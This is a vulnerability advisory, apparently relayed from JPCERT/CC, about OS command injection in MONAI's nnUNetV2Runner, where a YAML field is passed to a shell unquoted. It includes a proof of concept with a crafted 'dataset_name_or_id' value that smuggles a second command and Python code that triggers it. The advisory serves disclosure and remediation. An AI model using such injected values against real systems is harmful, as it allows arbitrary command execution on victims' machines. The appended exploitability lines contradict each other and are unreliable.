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GHSA-rghg-q7wp-9767
monaiComment from JPCERT/CC
We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11.
It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email.
Summary
MONAI vulnerable to OS command injection.
Details
This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.
As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection).
The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints.
PoC
Verified on Windows. Load a modified YAML file with crafted "dataset_name_or_id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands.
dataset_name_or_id: '4 & echo "This is exploited" > "C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results
As a victim, verify running the following Python code to load and process the YAML file.
from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner from pathlib import Path #Path of the crafted YAML file YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml" #Text file overwritten when command executes OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt") #Read YAML runner = nnUNetV2Runner(input_config=YAML, trainer_class_name="nnUNetTrainer") runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0) #Verify command execution print("Result:", OUT.read_text(encoding="utf-8").strip())
Also, see the attached file. JVN#50379904-details.zip
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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